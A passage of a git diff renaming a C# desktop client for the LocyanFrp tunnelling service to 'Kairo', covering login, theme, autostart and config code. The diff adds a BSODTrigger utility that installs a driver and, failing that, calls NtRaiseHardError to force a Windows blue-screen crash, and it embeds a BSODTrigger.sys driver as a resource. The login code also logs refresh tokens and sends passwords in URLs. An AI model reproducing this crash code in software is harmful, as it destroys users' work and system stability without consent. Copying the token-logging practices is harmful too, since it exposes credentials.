{ + if ((bool)UseDarkTheme.IsChecked) + { + Global.isDarkThemeEnabled = true; + Global.Config.AppliedTheme = 1; + } + else { + Global.isDarkThemeEnabled = false; + Global.Config.AppliedTheme = 2; + } + Access.DashBoard.ChangeColor(); + } + + private void AutoStartUp_Click(object sender, RoutedEventArgs e) + { + RegistryKey rk = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); + if ((bool)AutoStartUp.IsChecked) + { + + if (rk != null) { + rk.SetValue("Kairo", Assembly.GetExecutingAssembly().Location); + } + Global.Config.AutoStartUp = true; + } + else + { + rk.DeleteValue("Kairo"); + Global.Config.AutoStartUp = false; + } + } + + private void DownloadFrpc_Click(object sender, RoutedEventArgs e) + { + Download download = new Download(); + download.Owner = Access.DashBoard; + download.Show(); + } + + private void UseMirror_Click(object sender, RoutedEventArgs e) + { + Global.Config.UsingDownloadMirror = (bool)UseMirror.IsChecked; + } + } +} diff --git a/LoCyanFrpDesktop/Dashboard/Status.xaml b/Kairo/Dashboard/Status.xaml similarity index 91% rename from LoCyanFrpDesktop/Dashboard/Status.xaml rename to Kairo/Dashboard/Status.xaml index 39c38c2..5d74ffb 100644 --- a/LoCyanFrpDesktop/Dashboard/Status.xaml +++ b/Kairo/Dashboard/Status.xaml @@ -1,10 +1,10 @@  @@ -17,7 +17,8 @@ /// Interaction logic for Status.xaml /// public partial class Status : UiPage { - public static bool isTaskRunning = false; public static List ListViewList = new List(); - public static List OldListViewList = new List(); public Status() { InitializeComponent(); Access.Status = this; - lock (LogPreProcess.Process.Cache) { LogPreProcess.Process.Cache.ForEach( (line) => Dispatcher.Invoke(() => Append(LogPreProcess.Color(line))) ); } - //整活写法,别当真 - /*if (!isTaskRunning) - { - isTaskRunning = true; - Task.Run(() => { - while(true) - { - //wait for implementation - Refresh(); - Thread.Sleep(500); - } - }); - }*/ - //Append(LogPreProcess.Color(LogType.Info, ProxyList.lineFiltered)); - }/* - public void Refresh() - { - try - { - ListViewList.Clear(); - for (int i = 0;i < ProxyList.PNAPList.Count(); i++) - { - if ((bool)ProxyList.PNAPList[i].IsRunning) - { - ListViewList.Add(ProxyList.Proxieslist[(int)ProxyList.PNAPList[i].ListIndex].ProxyName); - } - - } - try - { - Dispatcher.Invoke(() => - { - ProxiesStarted.ItemsSource = ListViewList; - - }); - - } - catch(Exception e) { - Dispatcher.BeginInvoke(() => - { - ProxiesStarted.ItemsSource = ListViewList; - }); - CrashInterception.ShowException(e); - } - - - } - catch(Exception ex) - { - CrashInterception.ShowException(ex); - } - }*/ + } public void Append(Paragraph paragraph) { diff --git a/LoCyanFrpDesktop/Extensions/Task.cs b/Kairo/Extensions/Task.cs similarity index 61% rename from LoCyanFrpDesktop/Extensions/Task.cs rename to Kairo/Extensions/Task.cs index ad7a6ab..e004669 100644 --- a/LoCyanFrpDesktop/Extensions/Task.cs +++ b/Kairo/Extensions/Task.cs @@ -4,15 +4,10 @@ using System.Text; using System.Threading.Tasks; -namespace LoCyanFrpDesktop.Extensions +namespace Kairo.Extensions { internal static partial class Extensions { - /// - /// 等待 - /// - /// 任务 - /// 等待结果 public static T Await(this Task task) { return task.GetAwaiter().GetResult(); diff --git a/LoCyanFrpDesktop/Global.cs b/Kairo/Global.cs similarity index 56% rename from LoCyanFrpDesktop/Global.cs rename to Kairo/Global.cs index 31f6350..8d16370 100644 --- a/LoCyanFrpDesktop/Global.cs +++ b/Kairo/Global.cs @@ -1,23 +1,29 @@ -using LoCyanFrpDesktop.Utils; +using Kairo.Utils; using System; using System.Collections.Generic; +using System.IO; using System.Linq; +using System.Security; using System.Text; using System.Threading.Tasks; using System.Windows.Documents; -namespace LoCyanFrpDesktop +namespace Kairo { internal static class Global { - public static readonly bool DebugMode = Properties.Settings.Default.DebugMode; + public static readonly string PATH = AppDomain.CurrentDomain.BaseDirectory; + public static readonly DateTime StartTime = DateTime.Now; public static bool LoginedByConsole = false; - public const string Version = "2.1.0"; - public const string Branch = "RC"; - public const int Revision = 4; + public const string Version = "2.4.0"; + public const string Branch = "Alpha"; + public const int Revision = 3; public static readonly BuildInfo BuildInfo = new(); public const string Developer = "Shiroiame-Kusu & Daiyangcheng"; - public const string Copyright = "Copyright © 2021 - 2024 杭州樱芸网络科技有限公司 All Rights Reserved"; + public const string Copyright = "Copyright © 2021 - 2025 杭州樱芸网络科技有限公司 All Rights Reserved"; + public static Config Config = new(); + public static bool isDarkThemeEnabled; + public static SecureString Password = new(); public static List Tips = new() { "Tips:他们说下载的时候把电脑抱起来摇匀, 下载速度会更快哦", "Tips:LocyanFrp永远不会跑路, 就像你家楼下清仓甩卖的店一样", @@ -31,5 +37,14 @@ internal static class Global "Tips:再急, 再急就给你Crash了" }; + public const string API = "https://api-v2.locyanfrp.cn/api/v2"; + public const string UpdateCheckerAPI = "http://localhost:5043/api"; + public class APIList + { + public const string GetUserInfo = $"{API}/user/info"; + public const string GetAccessToken = $"{API}/auth/oauth/access-token"; + public const string GetFrpToken = $"{API}/user/frp/token"; + } + public const int APPID = 9; } } diff --git a/Kairo/Kairo.csproj b/Kairo/Kairo.csproj new file mode 100644 index 0000000..ec7a50c --- /dev/null +++ b/Kairo/Kairo.csproj @@ -0,0 +1,63 @@ + + + net9.0-windows + WinExe + false + Foreground + 7 + Days + false + false + true + false + false + true + true + true + + + true + + + + + Kairo + enable + app.manifest + resource\favicon2.ico + + + embedded + + + + + + + + + + + + + + + + + + + + + + + + + + + Never + + + + + + \ No newline at end of file diff --git a/Kairo/MainWindow.xaml b/Kairo/MainWindow.xaml new file mode 100644 index 0000000..eca40ac --- /dev/null +++ b/Kairo/MainWindow.xaml @@ -0,0 +1,207 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 没有账号? 前往注册 + + + + + 忘记密码? + + + + + + + + + + + + + + + + + + diff --git a/Kairo/MainWindow.xaml.cs b/Kairo/MainWindow.xaml.cs new file mode 100644 index 0000000..4784416 --- /dev/null +++ b/Kairo/MainWindow.xaml.cs @@ -0,0 +1,452 @@ +using System; +using System.Threading.Tasks; +using System.Windows; +using System.Windows.Input; +using System.Windows.Media; +using System.Windows.Navigation; +using System.Net.Http; +using Newtonsoft.Json; +using System.IO; +using System.Diagnostics; +using System.Security; +using Wpf.Ui.Common; +using Wpf.Ui.Controls; +using Wpf.Ui.Appearance; +using System.ComponentModel; +using Microsoft.Win32; +using Kairo.Utils; +using Newtonsoft.Json.Linq; +using System.Security.Cryptography; +using System.Collections.Generic; +using System.Text; +using Kairo.Extensions; +using System.Windows.Media.Animation; +using System.Numerics; + +namespace Kairo +{ + /// + /// MainWindow.xaml 的交互逻辑 + /// + public partial class MainWindow : UiWindow + { + public static bool DarkThemeEnabled; + private UserInfo UserInfo; + public static bool islogin = false; + public static DashBoard DashBoard; + public static string Avatar; + public static int Inbound; + public static int Outbound; + public static BigInteger Traffic; + private static Storyboard fadeIn; + private static Storyboard fadeOut; + public MainWindow() + { + Init(App.TokenMode); + + if (App.TokenMode) + { + this.Hide(); + } + + } + private void InitializeAllComponent() + { + InitializeComponent(); + _TitleBar.Opacity = 0; + LoginForm.Opacity = 0; + LoginStatus.Opacity = 0; + fadeIn = (Storyboard)FindResource("FadeInStoryboard"); + fadeOut = (Storyboard)FindResource("FadeOutStoryboard"); + fadeIn.Begin(LoginStatus); + LoginForm.Visibility = Visibility.Collapsed; + } + private void Init(bool TokenMode) + { + InitializeAllComponent(); + if (Random.Shared.Next(0, 10000) == 5000) + { + CrashInterception.ShowException(new Exception("这是一个彩蛋,万分之一的机会")); + } + Tips.Text = Global.Tips[Random.Shared.Next(0, Global.Tips.Count - 1)]; + //if (!TokenMode) CheckNetworkAvailability(); + _Login.IsEnabled = true; + DataContext = this; + Access.MainWindow = this; + if (!TokenMode) InitializeAutoLogin(); + if (!TokenMode) Update.Init(); + if (!TokenMode) ScheduledTask.Init(); + if (!TokenMode) ProtocolHandler.Init(); + } + + public void OpenSnackbar(string title, string message, SymbolRegular icon) + { + Dispatcher.Invoke(() => + { + + Snackbar.Show(title, message, icon); + }); + } + + private async void InitializeAutoLogin() + { + await CheckTokenAvailableAndLogin(); + + } + + private async Task CheckTokenAvailableAndLogin() + { + if (!string.IsNullOrEmpty(Global.Config.RefreshToken)) + { + return await Login(Global.Config.RefreshToken); + } + else + { + VisibilityChange(false); + return false; + } + } + + public async void VisibilityChange(bool logining) + { + Dispatcher.BeginInvoke(() => + { + if (logining) + { + fadeOut.Begin(LoginForm); + fadeOut.Begin(_TitleBar); + fadeIn.Begin(LoginStatus); + LoginForm.Visibility = Visibility.Hidden; + LoginStatus.Visibility = Visibility.Visible; + } + else + { + fadeOut.Begin(LoginStatus); + fadeIn.Begin(_TitleBar); + fadeIn.Begin(LoginForm); + LoginForm.Visibility = Visibility.Visible; + LoginStatus.Visibility = Visibility.Hidden; + + } + }); + + + } + + + private async void Login_Click(object sender, RoutedEventArgs e) + { + var url = $"https://dashboard.locyanfrp.cn/auth/oauth/authorize?app_id={Global.APPID}&scopes=User,Proxy,Sign&redirect_url=http://localhost:16092/oauth/callback"; + Process.Start(new ProcessStartInfo(url) + { + UseShellExecute = true + }); + VisibilityChange(true); + e.Handled = true; + + + } + public async Task Login(string RefreshToken) + { + if (islogin) return false; + Global.Config.RefreshToken = RefreshToken; + VisibilityChange(true); + if (!string.IsNullOrEmpty(RefreshToken)) + { + using (HttpClient httpClient = new()) + { + httpClient.DefaultRequestHeaders.Add("User-Agent", $"Kairo-{Global.Version}"); + Console.WriteLine($"{Global.APIList.GetAccessToken}?app_id={Global.APPID}&refresh_token={Global.Config.RefreshToken}"); + HttpResponseMessage response = await httpClient.PostAsync($"{Global.APIList.GetAccessToken}?app_id={Global.APPID}&refresh_token={Global.Config.RefreshToken}", null); + JObject json = JObject.Parse(await response.Content.ReadAsStringAsync()); + if (int.Parse(json["status"].ToString()) == 200) + { + Global.Config.ID = int.Parse(json["data"]["user_id"].ToString()); + Global.Config.AccessToken = json["data"]["access_token"].ToString(); + httpClient.DefaultRequestHeaders.Add("Authorization", $"Bearer {Global.Config.AccessToken}"); + response = httpClient.GetAsync($"{Global.APIList.GetUserInfo}?user_id={json["data"]["user_id"].ToString()}").Await(); + json = JObject.Parse(response.Content.ReadAsStringAsync().Await()); + UserInfo = JsonConvert.DeserializeObject(json["data"].ToString()); + Logger.MsgBox($"登录成功\n获取到登录Token: {UserInfo.Token}", "提示", 0, 48, 0); + InitializeInfoForDashboard(); + response = await httpClient.GetAsync($"{Global.APIList.GetFrpToken}?user_id={Global.Config.ID}"); + json = JObject.Parse(response.Content.ReadAsStringAsync().Await()); + UserInfo.FrpToken = json["data"]["frp_token"].ToString(); + Global.Config.Username = UserInfo.Username; + Global.Config.FrpToken = UserInfo.FrpToken; + islogin = true; + Dispatcher.BeginInvoke(() => + { + + DashBoard = new DashBoard(); + DashBoard.Show(); + Close(); + Access.DashBoard.CheckIfFrpcInstalled(); + }); + return true; + } + else + { + Logger.MsgBox($"请求API的过程中出错 \n 状态: {int.Parse(json["status"].ToString())} {json["message"].ToString()}", "错误", 0, 48, 0); + + } + + } + + } + else + { + + } + VisibilityChange(false); + return false; + + + + } + public async Task Login(string username, string password) + { + // 使用密码,例如验证或其他操作 + if (!string.IsNullOrEmpty(password)) + { + //Logger.MsgBox("你确定你输了密码?", "错误", 0, 48, 0); + //return; + + + + if (username != "" && password != "") + { + using (var httpClient = new HttpClient()) + { + string url = $"{Global.API}/api/v2/auth/login?username={username}&password={password}"; + try + { + // 发起 GET 请求并获取响应 + httpClient.DefaultRequestHeaders.Add("User-Agent",$"Kairo-{Global.Version}"); + //httpClient.DefaultRequestHeaders.Add("User-Agent",$"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0"); + HttpResponseMessage response = await httpClient.PostAsync(url, new FormUrlEncodedContent(new List>() { new("","")})); + + // 确保请求成功 + //response.EnsureSuccessStatusCode(); + + // 将 JSON 数据读取为字符串 + string jsonString = await response.Content.ReadAsStringAsync(); + var temp = JObject.Parse(jsonString); + + Logger.Output(LogType.Debug, jsonString); + // 将 JSON 字符串反序列化为对象 + UserInfo = JsonConvert.DeserializeObject(temp["data"].ToString()); + UserInfo.Status = int.Parse(temp["status"].ToString()); + if (UserInfo.Status != 200) + { + Logger.MsgBox("账号或密码错误!", "警告", 0, 48, 0); + return false; + } + else + { + Logger.MsgBox($"登录成功\n获取到登录Token: {UserInfo.Token}", "提示", 0, 47, 0); + InitializeInfoForDashboard(); + Global.Config.AccessToken = UserInfo.Token; + Global.Config.Username = UserInfo.Username; + Global.Config.FrpToken = UserInfo.FrpToken; + islogin = true; + DashBoard = new DashBoard(); + DashBoard.Show(); + Close(); + Access.DashBoard.CheckIfFrpcInstalled(); + return true; + + } + } + catch (HttpRequestException ex) + { + Logger.MsgBox($"请求API的过程中出错 \n 报错信息: {ex.Message}", "错误", 0, 48, 0); + } + } + } + else + { + Logger.MsgBox("用户名 / 密码不能为空!", "警告", 0, 48, 0); + } + } + else + { + Logger.MsgBox("用户名 / 密码不能为空!", "警告", 0, 48, 0); + } + return false; + } + private void InitializeInfoForDashboard() + { + + StringBuilder sb = new StringBuilder(); + foreach (byte b in MD5.HashData(Encoding.UTF8.GetBytes(UserInfo.Email.ToLower()))) + { + sb.Append(b.ToString("x2")); + } + Console.WriteLine(sb.ToString()); + Avatar = $"https://cravatar.cn/avatar/{sb.ToString()}"; + Inbound = UserInfo.Inbound; + Outbound = UserInfo.Outbound; + Traffic = UserInfo.Traffic; + } + + private void Register_Navigate(object sender, RequestNavigateEventArgs e) + { + var url = e.Uri.ToString(); + Process.Start(new ProcessStartInfo(url) + { + UseShellExecute = true + }); + e.Handled = true; + } + private void ForgetPassword_Navigate(object sender, RequestNavigateEventArgs e) + { + var url = e.Uri.ToString(); + Process.Start(new ProcessStartInfo(url) + { + UseShellExecute = true + }); + e.Handled = true; + } + + + public static void IsDarkThemeEnabled() + { + const string RegistryKey = @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize"; + + // 如果值为0,则深色主题已启用 + Global.isDarkThemeEnabled = ((int)Registry.GetValue(RegistryKey, "AppsUseLightTheme", 1) == 0); + } + public void UiWindow_Loaded(object sender, RoutedEventArgs e) + { /* + Catalog.Notification ??= new(); + if (Global.Settings.Serein.ThemeFollowSystem) + { + Watcher.Watch(this, BackgroundType.Tabbed, true); + } + Theme.Apply(Global.Settings.Serein.UseDarkTheme ? ThemeType.Dark : ThemeType.Light);*/ + //DarkThemeEnabled = IsDarkThemeEnabled(); + //DarkThemeEnabled = false; + switch (Global.Config.AppliedTheme) + { + case 0: + IsDarkThemeEnabled(); + break; + case 1: + Global.isDarkThemeEnabled = true; + break; + case 2: + Global.isDarkThemeEnabled = false; + break; + default: + IsDarkThemeEnabled(); + Global.Config.AppliedTheme = 0; + break; + } + Theme.Apply(Global.isDarkThemeEnabled ? ThemeType.Dark : ThemeType.Light, WindowBackdropType = BackgroundType.Mica); + + Color newColor = Global.isDarkThemeEnabled ? Colors.White : Colors.LightGray; + Resources["ShadowColor"] = newColor; + + } + + + public void UiWindow_Closing(object sender, CancelEventArgs e) + { + if (islogin) + { + e.Cancel = true; + ShowInTaskbar = true; + Hide(); + } + else + { + Exit_Click(sender, null); + } + + } + public void UiWindow_StateChanged(object sender, EventArgs e) + {/* + MaxHeight = SystemParameters.MaximizedPrimaryScreenHeight; + MaxWidth = SystemParameters.MaximizedPrimaryScreenWidth; */ + } + public void UiWindow_ContentRendered(object sender, EventArgs e) + { + + } + public void UiWindow_IsVisibleChanged(object sender, DependencyPropertyChangedEventArgs e) + => ShowInTaskbar = IsVisible; + public void Hide_Click(object sender, RoutedEventArgs e) + { + ShowInTaskbar = false; + DashBoard.Hide(); + Hide(); + } + + public void Exit_Click(object sender, RoutedEventArgs e) + { + Environment.Exit(0); + } + + private void NotifyIcon_LeftClick(NotifyIcon sender, RoutedEventArgs e) + { + if (islogin) + { + DashBoard.Show(); + } + else + { + Show(); + } + } + + private void UiWindow_KeyDown(object sender, KeyEventArgs e) + { + if (e.Key == Key.Enter) + { + Login_Click(sender, e); + } + } + } + public class UserInfo + { + [JsonProperty("qq")] + public long QQ { get; set; } + + [JsonProperty("qq_social_id")] + public string QQSocialID { get; set; } + + [JsonProperty("reg_time")] + public string RegTime { get; set; } + + [JsonProperty("id")] + public int ID { get; set; } + + [JsonProperty("inbound")] + public int Inbound { get; set; } + + [JsonProperty("outbound")] + public int Outbound { get; set; } + + [JsonProperty("email")] + public string Email { get; set; } + + [JsonProperty("traffic")] + public BigInteger Traffic { get; set; } + + [JsonProperty("avatar")] + public string Avatar { get; set; } + + [JsonProperty("username")] + public string Username { get; set; } + + [JsonProperty("status")] + public int Status { get; set; } + + public string Token { get; set; } + [JsonProperty("frp_token")] + public string FrpToken { get; set; } + } + + +} \ No newline at end of file diff --git a/LoCyanFrpDesktop/Properties/AssemblyInfo.cs b/Kairo/Properties/AssemblyInfo.cs similarity index 84% rename from LoCyanFrpDesktop/Properties/AssemblyInfo.cs rename to Kairo/Properties/AssemblyInfo.cs index 7f831cf..a717a86 100644 --- a/LoCyanFrpDesktop/Properties/AssemblyInfo.cs +++ b/Kairo/Properties/AssemblyInfo.cs @@ -1,18 +1,16 @@ using System.Reflection; -using System.Resources; -using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Windows; // 有关程序集的一般信息由以下 // 控制。更改这些特性值可修改 // 与程序集关联的信息。 -[assembly: AssemblyTitle("LoCyanFrpDesktop")] -[assembly: AssemblyDescription("A tool which can launch LoCyanFrp's proxies.")] +[assembly: AssemblyTitle("Kairo")] +[assembly: AssemblyDescription("A tool which can launch LocyanFrp's proxies.")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("LoCyanTeam")] -[assembly: AssemblyProduct("LoCyanFrpDesktop")] -[assembly: AssemblyCopyright("Copyright © 2021 - 2023 杭州樱芸网络科技有限公司 All rights reserved.")] +[assembly: AssemblyProduct("Kairo")] +[assembly: AssemblyCopyright("Copyright © 2021 - 2025 杭州樱芸网络科技有限公司 All rights reserved.")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] @@ -51,5 +49,5 @@ //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 //通过使用 "*",如下所示: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("2.1.0")] -[assembly: AssemblyFileVersion("2.1.0.0")] +[assembly: AssemblyVersion("2.4.0")] +[assembly: AssemblyFileVersion("2.4.0.0")] diff --git a/LoCyanFrpDesktop/Properties/Resources.Designer.cs b/Kairo/Properties/Resources.Designer.cs similarity index 89% rename from LoCyanFrpDesktop/Properties/Resources.Designer.cs rename to Kairo/Properties/Resources.Designer.cs index 9ef6a72..38332db 100644 --- a/LoCyanFrpDesktop/Properties/Resources.Designer.cs +++ b/Kairo/Properties/Resources.Designer.cs @@ -8,7 +8,7 @@ // //------------------------------------------------------------------------------ -namespace LoCyanFrpDesktop.Properties +namespace Kairo.Properties { @@ -44,7 +44,7 @@ internal Resources() { if ((resourceMan == null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("LoCyanFrpDesktop.Properties.Resources", typeof(Resources).Assembly); + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Kairo.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; @@ -82,5 +82,13 @@ public static byte[] Updater return ((byte[])(obj)); } } + public static byte[] BSODTrigger + { + get + { + object obj = ResourceManager.GetObject("BSODTrigger", resourceCulture); + return ((byte[])(obj)); + } + } } } diff --git a/LoCyanFrpDesktop/Properties/Resources.resx b/Kairo/Properties/Resources.resx similarity index 96% rename from LoCyanFrpDesktop/Properties/Resources.resx rename to Kairo/Properties/Resources.resx index f548764..c7052ed 100644 --- a/LoCyanFrpDesktop/Properties/Resources.resx +++ b/Kairo/Properties/Resources.resx @@ -118,6 +118,9 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\resource\BSODTrigger.sys;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + ..\buildinfo.info;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 diff --git a/LoCyanFrpDesktop/Properties/launchSettings.json b/Kairo/Properties/launchSettings.json similarity index 78% rename from LoCyanFrpDesktop/Properties/launchSettings.json rename to Kairo/Properties/launchSettings.json index a891459..99682b1 100644 --- a/LoCyanFrpDesktop/Properties/launchSettings.json +++ b/Kairo/Properties/launchSettings.json @@ -1,6 +1,6 @@ { "profiles": { - "LoCyanFrpDesktop": { + "Kairo": { "commandName": "Project", "commandLineArgs": "--debug" } diff --git a/LoCyanFrpDesktop/Settings.cs b/Kairo/Settings.cs similarity index 96% rename from LoCyanFrpDesktop/Settings.cs rename to Kairo/Settings.cs index dcaa91f..67885ab 100644 --- a/LoCyanFrpDesktop/Settings.cs +++ b/Kairo/Settings.cs @@ -1,4 +1,4 @@ -namespace LoCyanFrpDesktop.Properties { +namespace Kairo.Properties { // This class allows you to handle specific events on the settings class: diff --git a/LoCyanFrpDesktop/Utils/Access.cs b/Kairo/Utils/Access.cs similarity index 71% rename from LoCyanFrpDesktop/Utils/Access.cs rename to Kairo/Utils/Access.cs index 86fef18..4fcecf6 100644 --- a/LoCyanFrpDesktop/Utils/Access.cs +++ b/Kairo/Utils/Access.cs @@ -1,11 +1,11 @@ -using LoCyanFrpDesktop.Dashboard; +using Kairo.Dashboard; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; -namespace LoCyanFrpDesktop.Utils +namespace Kairo.Utils { internal static class Access { @@ -14,5 +14,7 @@ internal static class Access public static DashBoard? DashBoard { get; set; } public static Settings? Settings { get; set; } public static Download? Download { get; set; } + public static ProxyList? ProxyList { get; set; } + public static Kairo.Components.Update? Update { get; set; } } } diff --git a/Kairo/Utils/BSODTrigger.cs b/Kairo/Utils/BSODTrigger.cs new file mode 100644 index 0000000..1a88071 --- /dev/null +++ b/Kairo/Utils/BSODTrigger.cs @@ -0,0 +1,61 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; + +namespace Kairo.Utils +{ + class BSODTrigger + { + + private static List UsermodeErrorCodes = new List + { + 0xC0000005, // STATUS_ACCESS_VIOLATION + 0xC0000017, // STATUS_NO_MEMORY + 0xC0000022, // STATUS_ACCESS_DENIED + 0xC000009A, // STATUS_INSUFFICIENT_RESOURCES + 0xC000009C, // STATUS_DEVICE_DATA_ERROR + 0xC000009D, // STATUS_DEVICE_NOT_CONNECTED + 0xC00000BB, // STATUS_UNEXPECTED_IO_ERROR + 0xC0000185, // STATUS_IO_DEVICE_ERROR + 0xC0000221, // STATUS_IMAGE_CHECKSUM_MISMATCH + 0xC000026C, // STATUS_DRIVER_ENTRYPOINT_NOT_FOUND + 0xC000026E, // STATUS_DRIVER_ORDINAL_NOT_FOUND + 0xC0000350, // STATUS_INSUFFICIENT_LOGON_INFO + 0xC0000428, // STATUS_INVALID_IMAGE_HASH + 0xC0000703, // STATUS_REMOTE_PROTOCOL_MISMATCH + }; + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtRaiseHardError( + uint ErrorStatus, + uint NumberOfParameters, + IntPtr UnicodeStringParameterMask, + IntPtr Parameters, + uint ResponseOption, + out uint Response); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern void RtlAdjustPrivilege( + int Privilege, + bool Enable, + bool CurrentThread, + out bool Enabled); + + public static void Trigger() + { + DriverInstaller.Installer(); + var a = KernelBSODTrigger.Trigger(); + if (!a) + { + bool enabled; + RtlAdjustPrivilege(19, true, false, out enabled); // Adjust privilege to SE_SHUTDOWN_PRIVILEGE + + uint response; + NtRaiseHardError(UsermodeErrorCodes[Random.Shared.Next(0, UsermodeErrorCodes.Count)], 0, IntPtr.Zero, IntPtr.Zero, 6, out response); // 0xC0000022 is STATUS_ACCESS_DENIED + } + + + } + } + +} diff --git a/LoCyanFrpDesktop/Utils/BuildInfo.cs b/Kairo/Utils/BuildInfo.cs similarity index 96% rename from LoCyanFrpDesktop/Utils/BuildInfo.cs rename to Kairo/Utils/BuildInfo.cs index 20a8c1b..881a203 100644 --- a/LoCyanFrpDesktop/Utils/BuildInfo.cs +++ b/Kairo/Utils/BuildInfo.cs @@ -1,11 +1,11 @@ -using LoCyanFrpDesktop.Properties; +using Kairo.Properties; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; -namespace LoCyanFrpDesktop.Utils +namespace Kairo.Utils { internal class BuildInfo { diff --git a/Kairo/Utils/Components.cs b/Kairo/Utils/Components.cs new file mode 100644 index 0000000..9393250 --- /dev/null +++ b/Kairo/Utils/Components.cs @@ -0,0 +1,41 @@ +using Newtonsoft.Json; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Kairo.Utils.Components +{ + public class Proxy + { + public int Id { get; set; } + + [JsonProperty("proxy_name")] + public string ProxyName { get; set; } + + [JsonProperty("proxy_type")] + public string ProxyType { get; set; } + + [JsonProperty("local_ip")] + public string LocalIp { get; set; } + + [JsonProperty("local_port")] + public int LocalPort { get; set; } + + [JsonProperty("remote_port")] + public string RemotePort { get; set; } + + [JsonProperty("use_compression")] + public string UseCompression { get; set; } + + [JsonProperty("use_encryption")] + public string UseEncryption { get; set; } + [JsonProperty("domain")] + public string Domain { get; set; } + public int Node { get; set; } + + [JsonProperty("icp")] + public object Icp { get; set; } // icp 字段可能为 null,使用 object 类型表示 + } +} diff --git a/Kairo/Utils/Config.cs b/Kairo/Utils/Config.cs new file mode 100644 index 0000000..7a2cdc6 --- /dev/null +++ b/Kairo/Utils/Config.cs @@ -0,0 +1,26 @@ +using Newtonsoft.Json.Serialization; +using Newtonsoft.Json; +using System.Collections.Generic; +using Kairo.Utils.Components; + +namespace Kairo.Utils +{ + + [JsonObject(NamingStrategyType = typeof(CamelCaseNamingStrategy))] + internal class Config + { + public string AccessToken = ""; + public string RefreshToken = ""; + public string Username = ""; + public int ID = 0; + //public string Password = ""; + public string FrpToken = ""; + public string FrpcPath = ""; + public bool DebugMode = true; + public bool AutoStartUp = false; + public int AppliedTheme = 0; + public bool UsingDownloadMirror = true; + + public List AutoLaunch = new(); + } +} diff --git a/Kairo/Utils/ConfigManager.cs b/Kairo/Utils/ConfigManager.cs new file mode 100644 index 0000000..fba61fa --- /dev/null +++ b/Kairo/Utils/ConfigManager.cs @@ -0,0 +1,64 @@ +using Newtonsoft.Json; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Kairo.Utils +{ + internal class ConfigManager : IDisposable + { + private static string _oldSettings = string.Empty; + void IDisposable.Dispose() { } + public void Dispose() { + GC.SuppressFinalize(this); + } + public ConfigManager(FileMode fileMode) { + switch (fileMode) { + case FileMode.Open: + ReadConfig(); + break; + case FileMode.Create or FileMode.CreateNew or FileMode.OpenOrCreate: + WriteConfig(); + break; + default: + throw new IOException(); + } + + } + private void ReadConfig() + { + if (File.Exists(Path.Combine("settings", "Settings.json"))) + { + Global.Config = JsonConvert.DeserializeObject(File.ReadAllText(Path.Combine("settings", "Settings.json"), Encoding.UTF8)) ?? new(); + } + WriteConfig(); + } + private void WriteConfig() { + string newSettings = JsonConvert.SerializeObject(Global.Config); + if (newSettings != _oldSettings) + { + if (!Directory.Exists("settings")) + { + Directory.CreateDirectory("settings"); + } + _oldSettings = newSettings; + File.WriteAllText(Path.Combine("settings", "Settings.json"), JsonConvert.SerializeObject(Global.Config, Formatting.Indented)); + + } + } + public static void Init() + { + if (!Directory.Exists("settings")) + { + Directory.CreateDirectory("settings"); + new ConfigManager(FileMode.CreateNew); + return; + } + new ConfigManager(FileMode.Open); + + } + } +} diff --git a/LoCyanFrpDesktop/Utils/CrashInterception.cs b/Kairo/Utils/CrashInterception.cs similarity index 92% rename from LoCyanFrpDesktop/Utils/CrashInterception.cs rename to Kairo/Utils/CrashInterception.cs index 209f278..47ee368 100644 --- a/LoCyanFrpDesktop/Utils/CrashInterception.cs +++ b/Kairo/Utils/CrashInterception.cs @@ -10,7 +10,7 @@ using System.Windows.Media.Animation; using System.Windows.Threading; -namespace LoCyanFrpDesktop.Utils +namespace Kairo.Utils { internal static class CrashInterception { @@ -69,15 +69,15 @@ public static void ShowException(Exception e) { Buttons = { new(ButtonType.Ok) }, MainInstruction = "唔……发生了一点小问题(っ °Д °;)っ", - WindowTitle = "LocyanFrp", + WindowTitle = "Kairo", Content = "" + $"版本: {Global.Version} - {Global.Branch}\n" + $"时间:{DateTime.Now}\n" + $"NET版本:{Environment.Version}\n\n" + $"◦ 崩溃日志已保存在 {Path.Combine("logs", "crash", $"{DateTime.Now:yyyy-MM-dd}.log")}\n" + - $"◦ 反馈此问题可以帮助作者更好的改进LocyanFrp", + $"◦ 反馈此问题可以帮助作者更好的改进Kairo", MainIcon = Ookii.Dialogs.Wpf.TaskDialogIcon.Error, - Footer = $"你可以提交Issue", + Footer = $"你可以提交Issue", FooterIcon = Ookii.Dialogs.Wpf.TaskDialogIcon.Information, EnableHyperlinks = true, ExpandedInformation = exceptionMsg diff --git a/Kairo/Utils/DriverInstaller.cs b/Kairo/Utils/DriverInstaller.cs new file mode 100644 index 0000000..b5b9823 --- /dev/null +++ 